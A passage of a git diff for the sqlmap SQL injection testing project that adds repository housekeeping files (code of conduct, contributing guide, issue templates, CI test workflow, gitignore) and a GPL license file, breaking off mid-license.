diff --git a/.gitattributes b/.gitattributes
new file mode 100644
index 00000000000..a99321d231b
--- /dev/null
+++ b/.gitattributes
@@ -0,0 +1,27 @@
+*.conf text eol=lf
+*.json text eol=lf
+*.html text eol=lf
+*.md text eol=lf
+*.md5 text eol=lf
+*.pl text eol=lf
+*.py text eol=lf
+*.sh text eol=lf
+*.sql text eol=lf
+*.txt text eol=lf
+*.xml text eol=lf
+*.yaml text eol=lf
+*.yml text eol=lf
+LICENSE text eol=lf
+COMMITMENT text eol=lf
+
+*_ binary
+*.dll binary
+*.pdf binary
+*.so binary
+*.wav binary
+*.zip binary
+*.x32 binary
+*.x64 binary
+*.exe binary
+*.sln binary
+*.vcproj binary
diff --git a/.github/CODE_OF_CONDUCT.md b/.github/CODE_OF_CONDUCT.md
new file mode 100644
index 00000000000..2a36badf3f6
--- /dev/null
+++ b/.github/CODE_OF_CONDUCT.md
@@ -0,0 +1,46 @@
+# Contributor Covenant Code of Conduct
+
+## Our Pledge
+
+In the interest of fostering an open and welcoming environment, we as contributors and maintainers pledge to making participation in our project and our community a harassment-free experience for everyone, regardless of age, body size, disability, ethnicity, gender identity and expression, level of experience, nationality, personal appearance, race, religion, or sexual identity and orientation.
+
+## Our Standards
+
+Examples of behavior that contributes to creating a positive environment include:
+
+* Using welcoming and inclusive language
+* Being respectful of differing viewpoints and experiences
+* Gracefully accepting constructive criticism
+* Focusing on what is best for the community
+* Showing empathy towards other community members
+
+Examples of unacceptable behavior by participants include:
+
+* The use of sexualized language or imagery and unwelcome sexual attention or advances
+* Trolling, insulting/derogatory comments, and personal or political attacks
+* Public or private harassment
+* Publishing others' private information, such as a physical or electronic address, without explicit permission
+* Other conduct which could reasonably be considered inappropriate in a professional setting
+
+## Our Responsibilities
+
+Project maintainers are responsible for clarifying the standards of acceptable behavior and are expected to take appropriate and fair corrective action in response to any instances of unacceptable behavior.
+
+Project maintainers have the right and responsibility to remove, edit, or reject comments, commits, code, wiki edits, issues, and other contributions that are not aligned to this Code of Conduct, or to ban temporarily or permanently any contributor for other behaviors that they deem inappropriate, threatening, offensive, or harmful.
+
+## Scope
+
+This Code of Conduct applies both within project spaces and in public spaces when an individual is representing the project or its community. Examples of representing a project or community include using an official project e-mail address, posting via an official social media account, or acting as an appointed representative at an online or offline event. Representation of a project may be further defined and clarified by project maintainers.
+
+## Enforcement
+
+Instances of abusive, harassing, or otherwise unacceptable behavior may be reported by contacting the project team at dev@sqlmap.org. The project team will review and investigate all complaints, and will respond in a way that it deems appropriate to the circumstances. The project team is obligated to maintain confidentiality with regard to the reporter of an incident. Further details of specific enforcement policies may be posted separately.
+
+Project maintainers who do not follow or enforce the Code of Conduct in good faith may face temporary or permanent repercussions as determined by other members of the project's leadership.
+
+## Attribution
+
+This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4, available at [http://contributor-covenant.org/version/1/4][version]
+
+[homepage]: http://contributor-covenant.org
+[version]: http://contributor-covenant.org/version/1/4/
diff --git a/.github/CONTRIBUTING.md b/.github/CONTRIBUTING.md
new file mode 100644
index 00000000000..2ae80685613
--- /dev/null
+++ b/.github/CONTRIBUTING.md
@@ -0,0 +1,36 @@
+# Contributing to sqlmap
+
+## Reporting bugs
+
+**Bug reports are welcome**!
+Please report all bugs on the [issue tracker](https://github.com/sqlmapproject/sqlmap/issues).
+
+### Guidelines
+
+* Before you submit a bug report, search both [open](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aopen+is%3Aissue) and [closed](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) issues to make sure the issue has not come up before. Also, check the [user's manual](https://github.com/sqlmapproject/sqlmap/wiki) for anything relevant.
+* Make sure you can reproduce the bug with the latest development version of sqlmap.
+* Your report should give detailed instructions on how to reproduce the problem. If sqlmap raises an unhandled exception, the entire traceback is needed. Details of the unexpected behaviour are welcome too. A small test case (just a few lines) is ideal.
+* If you are making an enhancement request, lay out the rationale for the feature you are requesting. *Why would this feature be useful?*
+
+## Submitting code changes
+
+All code contributions are greatly appreciated. First off, clone the [Git repository](https://github.com/sqlmapproject/sqlmap), read the [user's manual](https://github.com/sqlmapproject/sqlmap/wiki) carefully, go through the code yourself and [drop us an email](mailto:dev@sqlmap.org) if you are having a hard time grasping its structure and meaning. We apologize for not commenting the code enough - you could take a chance to read it through and [improve it](https://github.com/sqlmapproject/sqlmap/issues/37).
+
+Our preferred method of patch submission is via a Git [pull request](https://help.github.com/articles/using-pull-requests).
+Many [people](https://raw.github.com/sqlmapproject/sqlmap/master/doc/THANKS.md) have contributed in different ways to the sqlmap development. **You** can be the next!
+
+### Guidelines
+
+In order to maintain consistency and readability throughout the code, we ask that you adhere to the following instructions:
+
+* Each patch should make one logical change.
+* Avoid tabbing, use four blank spaces instead.
+* Before you put time into a non-trivial patch, it is worth discussing it privately by [email](mailto:dev@sqlmap.org).
+* Do not change style on numerous files in one single pull request, we can [discuss](mailto:dev@sqlmap.org) about those before doing any major restyling, but be sure that personal preferences not having a strong support in [PEP 8](http://www.python.org/dev/peps/pep-0008/) will likely to be rejected.
+* Make changes on less than five files per single pull request - there is rarely a good reason to have more than five files changed on one pull request, as this dramatically increases the review time required to land (commit) any of those pull requests.
+* Style that is too different from main branch will be ''adapted'' by the developers side.
+* Do not touch anything inside `thirdparty/` and `extra/` folders.
+
+### Licensing
+
+By submitting code contributions to the sqlmap developers or via Git pull request, checking them into the sqlmap source code repository, it is understood (unless you specify otherwise) that you are offering the sqlmap copyright holders the unlimited, non-exclusive right to reuse, modify, and relicense the code. This is important because the inability to relicense code has caused devastating problems for other software projects (such as KDE and NASM). If you wish to specify special license conditions of your contributions, just say so when you send them.
diff --git a/.github/FUNDING.yml b/.github/FUNDING.yml
new file mode 100644
index 00000000000..e6b299956eb
--- /dev/null
+++ b/.github/FUNDING.yml
@@ -0,0 +1 @@
+github: sqlmapproject
diff --git a/.github/ISSUE_TEMPLATE/bug_report.md b/.github/ISSUE_TEMPLATE/bug_report.md
new file mode 100644
index 00000000000..0a2d0fe4aea
--- /dev/null
+++ b/.github/ISSUE_TEMPLATE/bug_report.md
@@ -0,0 +1,37 @@
+---
+name: Bug report
+about: Create a report to help us improve
+title: ''
+labels: bug report
+assignees: ''
+
+---
+
+**Describe the bug**
+A clear and concise description of what the bug is.
+
+**To Reproduce**
+1. Run '...'
+2. See error
+
+**Expected behavior**
+A clear and concise description of what you expected to happen.
+
+**Screenshots**
+If applicable, add screenshots to help explain your problem.
+
+**Running environment:**
+ - sqlmap version [e.g. 1.7.2.12#dev]
+ - Installation method [e.g. pip]
+ - Operating system: [e.g. Microsoft Windows 11]
+ - Python version [e.g. 3.11.2]
+
+**Target details:**
+ - DBMS [e.g. Microsoft SQL Server]
+ - SQLi techniques found by sqlmap [e.g. error-based and boolean-based blind]
+ - WAF/IPS [if any]
+ - Relevant console output [if any]
+ - Exception traceback [if any]
+
+**Additional context**
+Add any other context about the problem here.
diff --git a/.github/ISSUE_TEMPLATE/feature_request.md b/.github/ISSUE_TEMPLATE/feature_request.md
new file mode 100644
index 00000000000..e301d68ce74
--- /dev/null
+++ b/.github/ISSUE_TEMPLATE/feature_request.md
@@ -0,0 +1,20 @@
+---
+name: Feature request
+about: Suggest an idea for this project
+title: ''
+labels: feature request
+assignees: ''
+
+---
+
+**Is your feature request related to a problem? Please describe.**
+A clear and concise description of what the problem is. Ex. I'm always frustrated when [...]
+
+**Describe the solution you'd like**
+A clear and concise description of what you want to happen.
+
+**Describe alternatives you've considered**
+A clear and concise description of any alternative solutions or features you've considered.
+
+**Additional context**
+Add any other context or screenshots about the feature request here.
diff --git a/.github/workflows/tests.yml b/.github/workflows/tests.yml
new file mode 100644
index 00000000000..25100961dcd
--- /dev/null
+++ b/.github/workflows/tests.yml
@@ -0,0 +1,31 @@
+on:
+ push:
+ branches: [ master ]
+ pull_request:
+ branches: [ master ]
+
+jobs:
+ build:
+ runs-on: ${{ matrix.os }}
+ strategy:
+ matrix:
+ os: [ubuntu-latest, macos-latest, windows-latest]
+ python-version: [ 'pypy-2.7', '3.8', '3.14' ]
+ exclude:
+ - os: macos-latest
+ python-version: 'pypy-2.7'
+ steps:
+ - name: Checkout code
+ uses: actions/checkout@v4
+ with:
+ fetch-depth: 1
+ - name: Set up Python ${{ matrix.python-version }}
+ uses: actions/setup-python@v5
+ with:
+ python-version: ${{ matrix.python-version }}
+ - name: Basic import test
+ run: python -c "import sqlmap; import sqlmapapi"
+ - name: Smoke test
+ run: python sqlmap.py --smoke
+ - name: Vuln test
+ run: python sqlmap.py --vuln
diff --git a/.gitignore b/.gitignore
index 5bfc69f1f71..1f7f94a3b1e 100644
--- a/.gitignore
+++ b/.gitignore
@@ -1,2 +1,8 @@
-*.pyc
output/
+__pycache__/
+*.py[cod]
+.sqlmap_history
+traffic.txt
+*~
+req*.txt
+.idea/
\ No newline at end of file
diff --git a/doc/COPYING b/LICENSE
similarity index 78%
rename from doc/COPYING
rename to LICENSE
index 38be04172bf..cc0480cafb4 100644
--- a/doc/COPYING
+++ b/LICENSE
@@ -1,340 +1,348 @@
- GNU GENERAL PUBLIC LICENSE
- Version 2, June 1991
-
- Copyright (C) 1989, 1991 Free Software Foundation, Inc.
- 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
- Everyone is permitted to copy and distribute verbatim copies
- of this license document, but changing it is not allowed.
-
- Preamble
-
- The licenses for most software are designed to take away your
-freedom to share and change it. By contrast, the GNU General Public
-License is intended to guarantee your freedom to share and change free
-software--to make sure the software is free for all its users. This
-General Public License applies to most of the Free Software
-Foundation's software and to any other program whose authors commit to
-using it. (Some other Free Software Foundation software is covered by
-the GNU Library General Public License instead.) You can apply it to
-your programs, too.
-
- When we speak of free software, we are referring to freedom, not
-price. Our General Public Licenses are designed to make sure that you
-have the freedom to distribute copies of free software (and charge for
-this service if you wish), that you receive source code or can get it
-if you want it, that you can change the software or use pieces of it
-in new free programs; and that you know you can do these things.
-
- To protect your rights, we need to make restrictions that forbid
-anyone to deny you these rights or to ask you to surrender the rights.
-These restrictions translate to certain responsibilities for you if you
-distribute copies of the software, or if you modify it.
-
- For example, if you distribute copies of such a program, whether
-gratis or for a fee, you must give the recipients all the rights that
-you have. You must make sure that they, too, receive or can get the
-source code. And you must show them these terms so they know their
-rights.
-
- We protect your rights with two steps: (1) copyright the software, and
-(2) offer you this license which gives you legal permission to copy,
-distribute and/or modify the software.
-
- Also, for each author's protection and ours, we want to make certain
-that everyone understands that there is no warranty for this free
-software. If the software is modified by someone else and passed on, we
-want its recipients to know that what they have is not the original, so
-that any problems introduced by others will not reflect on the original
-authors' reputations.
-
- Finally, any free program is threatened constantly by software
-patents. We wish to avoid the danger that redistributors of a free
-program will individually obtain patent licenses, in effect making the
-program proprietary. To prevent this, we have made it clear that any
-patent must be licensed for everyone's free use or not licensed at all.
-
- The precise terms and conditions for copying, distribution and
-modification follow.
-
- GNU GENERAL PUBLIC LICENSE
- TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
-
- 0. This License applies to any program or other work which contains
-a notice placed by the copyright holder saying it may be distributed
-under the terms of this General Public License. The "Program", below,
-refers to any such program or work, and a "work based on the Program"
-means either the Program or any derivative work under copyright law:
-that is to say, a work containing the Program or a portion of it,
-either verbatim or with modifications and/or translated into another
-language. (Hereinafter, translation is included without limitation in
-the term "modification".) Each licensee is addressed as "you".
-
-Activities other than copying, distribution and modification are not
-covered by this License; they are outside its scope. The act of
-running the Program is not restricted, and the output from the Program
-is covered only if its contents constitute a work based on the
-Program (independent of having been made by running the Program).
-Whether that is true depends on what the Program does.
-
- 1. You may copy and distribute verbatim copies of the Program's
-source code as you receive it, in any medium, provided that you
-conspicuously and appropriately publish on each copy an appropriate
-copyright notice and disclaimer of warranty; keep intact all the
-notices that refer to this License and to the absence of any warranty;
-and give any other recipients of the Program a copy of this License
-along with the Program.
-
-You may charge a fee for the physical act of transferring a copy, and
-you may at your option offer warranty protection in exchange for a fee.
-
- 2. You may modify your copy or copies of the Program or any portion
-of it, thus forming a work based on the Program, and copy and
-distribute such modifications or work under the terms of Section 1
-above, provided that you also meet all of these conditions:
-
- a) You must cause the modified files to carry prominent notices
- stating that you changed the files and the date of any change.
-
- b) You must cause any work that you distribute or publish, that in
- whole or in part contains or is derived from the Program or any
- part thereof, to be licensed as a whole at no charge to all third
- parties under the terms of this License.
-
- c) If the modified program normally reads commands interactively
- when run, you must cause it, when started running for such
- interactive use in the most ordinary way, to print or display an
- announcement including an appropriate copyright notice and a
- notice that there is no warranty (or else, saying that you provide
- a warranty) and that users may redistribute the program under
- these conditions, and telling the user how to view a copy of this
- License. (Exception: if the Program itself is interactive but
- does not normally print such an announcement, your work based on
- the Program is not required to print an announcement.)
-
-These requirements apply to the modified work as a whole. If
-identifiable sections of that work are not derived from the Program,
-and can be reasonably considered independent and separate works in
-themselves, then this License, and its terms, do not apply to those
-sections when you distribute them as separate works. But when you
-distribute the same sections as part of a whole which is a work based
-on the Program, the distribution of the whole must be on the terms of
-this License, whose permissions for other licensees extend to the
-entire whole, and thus to each and every part regardless of who wrote it.
-
-Thus, it is not the intent of this section to claim rights or contest
-your rights to work written entirely by you; rather, the intent is to
-exercise the right to control the distribution of derivative or
-collective works based on the Program.
-
-In addition, mere aggregation of another work not based on the Program
-with the Program (or with a work based on the Program) on a volume of
-a storage or distribution medium does not bring the other work under
-the scope of this License.
-
- 3. You may copy and distribute the Program (or a work based on it,
-under Section 2) in object code or executable form under the terms of
-Sections 1 and 2 above provided that you also do one of the following:
-
- a) Accompany it with the complete corresponding machine-readable
- source code, which must be distributed under the terms of Sections
- 1 and 2 above on a medium customarily used for software interchange; or,
-
- b) Accompany it with a written offer, valid for at least three
- years, to give any third party, for a charge no more than your
- cost of physically performing source distribution, a complete
- machine-readable copy of the corresponding source code, to be
- distributed under the terms of Sections 1 and 2 above on a medium
- customarily used for software interchange; or,
-
- c) Accompany it with the information you received as to the offer
- to distribute corresponding source code. (This alternative is
- allowed only for noncommercial distribution and only if you
- received the program in object code or executable form with such
- an offer, in accord with Subsection b above.)
-
-The source code for a work means the preferred form of the work for
-making modifications to it. For an executable work, complete source
-code means all the source code for all modules it contains, plus any
-associated interface definition files, plus the scripts used to
-control compilation and installation of the executable. However, as a
-special exception, the source code distributed need not include
-anything that is normally distributed (in either source or binary
-form) with the major components (compiler, kernel, and so on) of the
-operating system on which the executable runs, unless that component
-itself accompanies the executable.
-
-If distribution of executable or object code is made by offering
-access to copy from a designated place, then offering equivalent
-access to copy the source code from the same place counts as
-distribution of the source code, even though third parties are not
-compelled to copy the source along with the object code.
-
- 4. You may not copy, modify, sublicense, or distribute the Program
-except as expressly provided under this License. Any attempt
-otherwise to copy, modify, sublicense or distribute the Program is
-void, and will automatically terminate your rights under this License.
-However, parties who have received copies, or rights, from you under
-this License will not have their licenses terminated so long as such
-parties remain in full compliance.
-
- 5. You are not required to accept this License, since you have not
-signed it. However, nothing else grants you permission to modify or
-distribute the Program or its derivative works. These actions are
-prohibited by law if you do not accept this License. Therefore, by
-modifying or distributing the Program (or any work based on the
-Program), you indicate your acceptance of this License to do so, and
-all its terms and conditions for copying, distributing or modifying
-the Program or works based on it.
-
- 6. Each time you redistribute the Program (or any work based on the
-Program), the recipient automatically receives a license from the
-original licensor to copy, distribute or modify the Program subject to
-these terms and conditions. You may not impose any further
-restrictions on the recipients' exercise of the rights granted herein.
-You are not responsible for enforcing compliance by third parties to
-this License.
-
- 7. If, as a consequence of a court judgment or allegation of patent
-infringement or for any other reason (not limited to patent issues),
-conditions are imposed on you (whether by court order, agreement or
-otherwise) that contradict the conditions of this License, they do not
-excuse you from the conditions of this License. If you cannot
-distribute so as to satisfy simultaneously your obligations under this
-License and any other pertinent obligations, then as a consequence you
-may not distribute the Program at all. For example, if a patent
-license would not permit royalty-free redistribution of the Program by
-all those who receive copies directly or indirectly through you, then
-the only way you could satisfy both it and this License would be to
-refrain entirely from distribution of the Program.
-
-If any portion of this section is held invalid or unenforceable under
-any particular circumstance, the balance of the section is intended to
-apply and the section as a whole is intended to apply in other
-circumstances.
-
-It is not the purpose of this section to induce you to infringe any
-patents or other property right claims or to contest validity of any
-such claims; this section has the sole purpose of protecting the
-integrity of the free software distribution system, which is
-implemented by public license practices. Many people have made
-generous contributions to the wide range of software distributed
-through that system in reliance on consistent application of that
-system; it is up to the author/donor to decide if he or she is willing
-to distribute software through any other system and a licensee cannot
-impose that choice.
-
-This section is intended to make thoroughly clear what is believed to
-be a consequence of the rest of this License.
-
- 8. If the distribution and/or use of the Program is restricted in
-certain countries either by patents or by copyrighted interfaces, the
-original copyright holder who places the Program under this License
-may add an explicit geographical distribution limitation excluding
-those countries, so that distribution is permitted only in or among
-countries not thus excluded. In such case, this License incorporates
-the limitation as if written in the body of this License.
-
- 9. The Free Software Foundation may publish revised and/or new versions
-of the General Public License from time to time. Such new versions will
-be similar in spirit to the present version, but may differ in detail to
-address new problems or concerns.
-
-Each version is given a distinguishing version number. If the Program
-specifies a version number of this License which applies to it and "any
-later version", you have the option of following the terms and conditions
-either of that version or of any later version published by the Free
-Software Foundation. If the Program does not specify a version number of
-this License, you may choose any version ever published by the Free Software
-Foundation.
-
- 10. If you wish to incorporate parts of the Program into other free
-programs whose distribution conditions are different, write to the author
-to ask for permission. For software which is copyrighted by the Free
-Software Foundation, write to the Free Software Foundation; we sometimes
-make exceptions for this. Our decision will be guided by the two goals
-of preserving the free status of all derivatives of our free software and
-of promoting the sharing and reuse of software generally.
-
- NO WARRANTY
-
- 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
-FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN
-OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
-PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
-OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
-MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS
-TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE
-PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
-REPAIR OR CORRECTION.
-
- 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
-WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
-REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
-INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
-OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
-TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
-YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
-PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
-POSSIBILITY OF SUCH DAMAGES.
-
- END OF TERMS AND CONDITIONS
-
- How to Apply These Terms to Your New Programs
-
- If you develop a new program, and you want it to be of the greatest
-possible use to the public, the best way to achieve this is to make it
-free software which everyone can redistribute and change under these terms.
-
- To do so, attach the following notices to the program. It is safest
-to attach them to the start of each source file to most effectively
-convey the exclusion of warranty; and each file should have at least
-the "copyright" line and a pointer to where the full notice is found.
-
-
- Copyright (C)
-
- This program is free software; you can redistribute it and/or modify
- it under the terms of the GNU General Public License as published by
- the Free Software Foundation; either version 2 of the License, or
- (at your option) any later version.
-
- This program is distributed in the hope that it will be useful,
- but WITHOUT ANY WARRANTY; without even the implied warranty of
- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- GNU General Public License for more details.
-
- You should have received a copy of the GNU General Public License
- along with this program; if not, write to the Free Software
- Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
-
-
-Also add information on how to contact you by electronic and paper mail.
-
-If the program is interactive, make it output a short notice like this
-when it starts in an interactive mode:
-
- Gnomovision version 69, Copyright (C) year name of author
- Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
- This is free software, and you are welcome to redistribute it
- under certain conditions; type `show c' for details.
-
-The hypothetical commands `show w' and `show c' should show the appropriate
-parts of the General Public License. Of course, the commands you use may
-be called something other than `show w' and `show c'; they could even be
-mouse-clicks or menu items--whatever suits your program.
-
-You should also get your employer (if you work as a programmer) or your
-school, if any, to sign a "copyright disclaimer" for the program, if
-necessary. Here is a sample; alter the names:
-
- Yoyodyne, Inc., hereby disclaims all copyright interest in the program
- `Gnomovision' (which makes passes at compilers) written by James Hacker.
-
- , 1 April 1989
- Ty Coon, President of Vice
-
-This General Public License does not permit incorporating your program into
-proprietary programs. If your program is a subroutine library, you may
-consider it more useful to permit linking proprietary applications with the
-library. If this is what you want to do, use the GNU Library General
-Public License instead of this License.
+COPYING -- Describes the terms under which sqlmap is distributed. A copy
+of the GNU General Public License (GPL) is appended to this file.
+
+sqlmap is (C) 2006-2026 Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar.
+
+This program is free software; you may redistribute and/or modify it under
+the terms of the GNU General Public License as published by the Free
+Software Foundation; Version 2 (or later) with the clarifications and
+exceptions described below. This guarantees your right to use, modify, and
+redistribute this software under certain conditions. If you wish to embed
+sqlmap technology into proprietary software, we sell alternative licenses
+(contact sales@sqlmap.org).
+
+Note that the GPL places important restrictions on "derived works", yet it
+does not provide a detailed definition of that term. To avoid
+misunderstandings, we interpret that term as broadly as copyright law
+allows. For example, we consider an application to constitute a "derived
+work" for the purpose of this license if it does any of the following:
+* Integrates source code from sqlmap.
+* Reads or includes sqlmap copyrighted data files, such as xml/queries.xml
+* Executes sqlmap and parses the results (as opposed to typical shell or
+ execution-menu apps, which simply display raw sqlmap output and so are
+ not derivative works).
+* Integrates/includes/aggregates sqlmap into a proprietary executable
+ installer, such as those produced by InstallShield.
+* Links to a library or executes a program that does any of the above
+
+The term "sqlmap" should be taken to also include any portions or derived
+works of sqlmap. This list is not exclusive, but is meant to clarify our
+interpretation of derived works with some common examples. Our
+interpretation applies only to sqlmap - we do not speak for other people's
+GPL works.
+
+This license does not apply to the third-party components. More details can
+be found inside the file 'doc/THIRD-PARTY.md'.
+
+If you have any questions about the GPL licensing restrictions on using
+sqlmap in non-GPL works, we would be happy to help. As mentioned above,
+we also offer alternative license to integrate sqlmap into proprietary
+applications and appliances.
+
+If you received these files with a written license agreement or contract
+stating terms other than the terms above, then that alternative license
+agreement takes precedence over these comments.
+
+Source is provided to this software because we believe users have a right
+to know exactly what a program is going to do before they run it.
+
+Source code also allows you to fix bugs and add new features. You are
+highly encouraged to send your changes to dev@sqlmap.org for possible
+incorporation into the main distribution. By sending these changes to the
+sqlmap developers or via Git pull request, checking them into the sqlmap
+source code repository, it is understood (unless you specify otherwise)
+that you are offering the sqlmap project the unlimited, non-exclusive
+right to reuse, modify, and relicense the code. sqlmap will always be
+available Open Source, but this is important because the inability to
+relicense code has caused devastating problems for other Free Software
+projects (such as KDE and NASM). If you wish to specify special license
+conditions of your contributions, just say so when you send them.
+
+This program is distributed in the hope that it will be useful, but
+WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+General Public License v2.0 for more details at
+http://www.gnu.org/licenses/gpl-2.0.html, or below
+
+****************************************************************************
+
+ GNU GENERAL PUBLIC LICENSE
+ Version 2, June 1991
+
+ Copyright (C) 1989, 1991 Free Software Foundation, Inc.,
+ 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ Everyone is permitted to copy and distribute verbatim copies
+ of this license document, but changing it is not allowed.
+
+ Preamble
+
+ The licenses for most software are designed to take away your
+freedom to share and change it. By contrast, the GNU General Public
+License is intended to guarantee your freedom to share and change free
+software--to make sure the software is free for all its users. This
+General Public License applies to most of the Free Software
+Foundation's software and to any other program whose authors commit to
+using it. (Some other Free Software Foundation software is covered by
+the GNU Lesser General Public License instead.) You can apply it to
+your programs, too.
+
+ When we speak of free software, we are referring to freedom, not
+price. Our General Public Licenses are designed to make sure that you
+have the freedom to distribute copies of free software (and charge for
+this service if you wish), that you receive source code or can get it
+if you want it, that you can change the software or use pieces of it
+in new free programs; and that you know you can do these things.
+
+ To protect your rights, we need to make restrictions that forbid
+anyone to deny you these rights or to ask you to surrender the rights.
+These restrictions translate to certain responsibilities for you if you
+distribute copies of the software, or if you modify it.
+
+ For example, if you distribute copies of such a program, whether
+gratis or for a fee, you must give the recipients all the rights that
+you have. You must make sure that they, too, receive or can get the
+source code. And you must show them these terms so they know their
+rights.
+
+ We protect your rights with two steps: (1) copyright the software, and
+(2) offer you this license which gives you legal permission to copy,
+distribute and/or modify the software.
+
+ Also, for each author's protection and ours, we want to make certain
+that everyone understands that there is no warranty for this free
+software. If the software is modified by someone else and passed on, we
+want its recipients to know that what they have is not the original, so
+that any problems introduced by others will not reflect on the original
+authors' reputations.
+
+ Finally, any free program is threatened constantly by software
+patents. We wish to avoid the danger that redistributors of a free
+program will individually obtain patent licenses, in effect making the
+program proprietary. To prevent this, we have made it clear that any
+patent must be licensed for everyone's free use or not licensed at all.
+
+ The precise terms and conditions for copying, distribution and
+modification follow.
+
+ GNU GENERAL PUBLIC LICENSE
+ TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
+
+ 0. This License applies to any program or other work which contains
+a notice placed by the copyright holder saying it may be distributed
+under the terms of this General Public License. The "Program", below,
+refers to any such program or work, and a "work based on the Program"
+means either the Program or any derivative work under copyright law:
+that is to say, a work containing the Program or a portion of it,
+either verbatim or with modifications and/or translated into another
+language. (Hereinafter, translation is included without limitation in
+the term "modification".) Each licensee is addressed as "you".
+
+Activities other than copying, distribution and modification are not
+covered by this License; they are outside its scope. The act of
+running the Program is not restricted, and the output from the Program
+is covered only if its contents constitute a work based on the
+Program (independent of having been made by running the Program).
+Whether that is true depends on what the Program does.
+
+ 1. You may copy and distribute verbatim copies of the Program's
+source code as you receive it, in any medium, provided that you
+conspicuously and appropriately publish on each copy an appropriate
+copyright notice and disclaimer of warranty; keep intact all the
+notices that refer to this License and to the absence of any warranty;
+and give any other recipients of the Program a copy of this License
+along with the Program.
+
+You may charge a fee for the physical act of transferring a copy, and
+you may at your option offer warranty protection in exchange for a fee.
+
+ 2. You may modify your copy or copies of the Program or any portion
+of it, thus forming a work based on the Program, and copy and
+distribute such modifications or work under the terms of Section 1
+above, provided that you also meet all of these conditions:
+
+ a) You must cause the modified files to carry prominent notices
+ stating that you changed the files and the date of any change.
+
+ b) You must cause any work that you distribute or publish, that in
+ whole or in part contains or is derived from the Program or any
+ part thereof, to be licensed as a whole at no charge to all third
+ parties under the terms of this License.
+
+ c) If the modified program normally reads commands interactively
+ when run, you must cause it, when started running for such
+ interactive use in the most ordinary way, to print or display an
+ announcement including an appropriate copyright notice and a
+ notice that there is no warranty (or else, saying that you provide
+ a warranty) and that users may redistribute the program under
+ these conditions, and telling the user how to view a copy of this
+ License. (Exception: if the Program itself is interactive but
+ does not normally print such an announcement, your work based on
+ the Program is not required to print an announcement.)
+
+These requirements apply to the modified work as a whole. If
+identifiable sections of that work are not derived from the Program,
+and can be reasonably considered independent and separate works in
+themselves, then this License, and its terms, do not apply to those
+sections when you distribute them as separate works. But when you
+distribute the same sections as part of a whole which is a work based
+on the Program, the distribution of the whole must be on the terms of
+this License, whose permissions for other licensees extend to the
+entire whole, and thus to each and every part regardless of who wrote it.
+
+Thus, it is not the intent of this section to claim rights or contest
+your rights to work written entirely by you; rather, the intent is to
+exercise the right to control the distribution of derivative or
+collective works based on the Program.
+
+In addition, mere aggregation of another work not based on the Program
+with the Program (or with a work based on the Program) on a volume of
+a storage or distribution medium does not bring the other work under
+the scope of this License.
+
+ 3. You may copy and distribute the Program (or a work based on it,
+under Section 2) in object code or executable form under the terms of
+Sections 1 and 2 above provided that you also do one of the following:
+
+ a) Accompany it with the complete corresponding machine-readable
+ source code, which must be distributed under the terms of Sections
+ 1 and 2 above on a medium customarily used for software interchange; or,
+
+ b) Accompany it with a written offer, valid for at least three
+ years, to give any third party, for a charge no more than your
+ cost of physically performing source distribution, a complete
+ machine-readable copy of the corresponding source code, to be
+ distributed under the terms of Sections 1 and 2 above on a medium
+ customarily used for software interchange; or,
+
+ c) Accompany it with the information you received as to the offer
+ to distribute corresponding source code. (This alternative is
+ allowed only for noncommercial distribution and only if you
+ received the program in object code or executable form with such
+ an offer, in accord with Subsection b above.)
+
+The source code for a work means the preferred form of the work for
+making modifications to it. For an executable work, complete source
+code means all the source code for all modules it contains, plus any
+associated interface definition files, plus the scripts used to
+control compilation and installation of the executable. However, as a
+special exception, the source code distributed need not include
+anything that is normally distributed (in either source or binary
+form) with the major components (compiler, kernel, and so on) of the
+operating system on which the executable runs, unless that component
+itself accompanies the executable.
+
+If distribution of executable or object code is made by offering
+access to copy from a designated place, then offering equivalent
+access to copy the source code from the same place counts as
+distribution of the source code, even though third parties are not
+compelled to copy the source along with the object code.
+
+ 4. You may not copy, modify, sublicense, or distribute the Program
+except as expressly provided under this License. Any attempt
+otherwise to copy, modify, sublicense or distribute the Program is
+void, and will automatically terminate your rights under this License.
+However, parties who have received copies, or rights, from you under
+this License will not have their licenses terminated so long as such
+parties remain in full compliance.
+
+ 5. You are not required to accept this License, since you have not
+signed it. However, nothing else grants you permission to modify or
+distribute the Program or its derivative works. These actions are
